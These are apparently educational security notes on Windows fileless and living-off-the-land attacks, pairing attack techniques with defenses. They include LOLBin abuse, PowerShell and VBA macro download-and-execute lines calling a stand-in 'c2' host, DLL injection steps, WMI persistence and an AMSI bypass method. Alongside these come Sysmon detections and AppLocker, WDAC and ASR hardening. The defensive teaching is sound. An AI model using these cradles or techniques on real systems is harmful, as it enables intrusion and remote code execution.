无文件恶意软件与寄生式攻击

# Common LotL (LOLBins - Living Off the Land Binaries):
# certutil.exe   - download files from internet
# mshta.exe      - execute HTA (HTML Application) scripts
# regsvr32.exe   - execute DLL or scriptlets remotely (Squiblydoo)
# rundll32.exe   - execute DLL exports
# wmic.exe       - WMI queries and lateral movement
# bitsadmin.exe  - download/upload via BITS service
# powershell.exe - nearly unlimited capability
# cmstp.exe      - bypass UAC, run scripts

# PowerShell attack example (educational):
# Download and execute payload entirely in memory:
# powershell.exe -NoP -NonI -Exec Bypass -W Hidden -Enc <base64>
# IEX (New-Object Net.WebClient).DownloadString('http://c2/payload.ps1')

# Defense: Enable PowerShell logging (Group Policy):
# Computer Config -> Admin Templates -> Windows Components
# -> Windows PowerShell
# Turn on PowerShell Script Block Logging: Enabled
# Turn on Module Logging: Enabled
# Turn on Transcription: Enabled

# WMI event subscription for persistence (educational):
# Filter: every 5 minutes
# Consumer: execute powershell command
# Binding: connect filter to consumer
#
# Detection:
# Monitor WMI subscriptions:
Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding

# Sysmon Event ID 19/20/21: WMI events logged

# DLL injection API sequence:
# 1. OpenProcess(PROCESS_ALL_ACCESS, target_pid)
# 2. VirtualAllocEx(target, NULL, dll_path_len, MEM_COMMIT, PAGE_READWRITE)
# 3. WriteProcessMemory(target, alloc_addr, dll_path, dll_path_len)
# 4. CreateRemoteThread(target, NULL, 0, LoadLibraryA, alloc_addr)

# Sysmon rules to detect injection:
# Event ID 8: CreateRemoteThread
# Event ID 10: ProcessAccess (targetted process opened)
# Event ID 25: ProcessTampering (image changed in memory)

# Malicious macro flow (educational):
# 1. User receives .docm via email
# 2. User opens, clicks 'Enable Content'
# 3. VBA macro runs:
#    Shell 'powershell -ep bypass -nop -c "IEX(New-Object Net.WebClient).DownloadString(''http://c2/stage2.ps1'')"'
# 4. PowerShell downloads stage2 into memory
# 5. stage2 runs shellcode / loads Cobalt Strike Beacon in memory
# 6. No malware files on disk; only the .docm exists

# ASR rule to block:
# 'Block all Office applications from creating child processes'

# How AMSI works:
# PowerShell/WScript calls AmsiScanBuffer() before execution
# Windows Defender (or other AV) scans the buffer
# If malicious: AMSI returns AMSI_RESULT_DETECTED -> execution blocked

# AMSI bypass attempts to detect (Sysmon/EDR):
# Memory write to amsi.dll: patch AmsiScanBuffer to always return 0
# Unloading amsi.dll from process memory
# PowerShell Constrained Language Mode + AMSI = stronger defense

# Sysmon detection rules for LotL:
# Event ID 1: Process creation
#   Alert if: Word.exe spawns cmd.exe or powershell.exe
#   Alert if: certutil.exe with -urlcache -f parameters
#   Alert if: mshta.exe with remote URL argument

# Event ID 3: Network connection
#   Alert if: powershell.exe initiates outbound connection
#   Alert if: mshta.exe connects to non-Microsoft IPs

# Event ID 7: Image loaded
#   Alert if: known-bad DLL loaded into legitimate process

# PowerShell Constrained Language Mode:
$ExecutionContext.SessionState.LanguageMode = 'ConstrainedLanguage'
# Or via WDAC policy; CLM automatically applied when WDAC is active

# AppLocker: block mshta.exe for standard users
# Computer Config -> Windows Settings -> Security Settings
# -> Application Control Policies -> AppLocker
# Executable Rules -> Add Rule -> Deny -> mshta.exe (path rule)

# WDAC (stronger than AppLocker):
# Cannot be bypassed by local admin unlike AppLocker
# Enforced at kernel level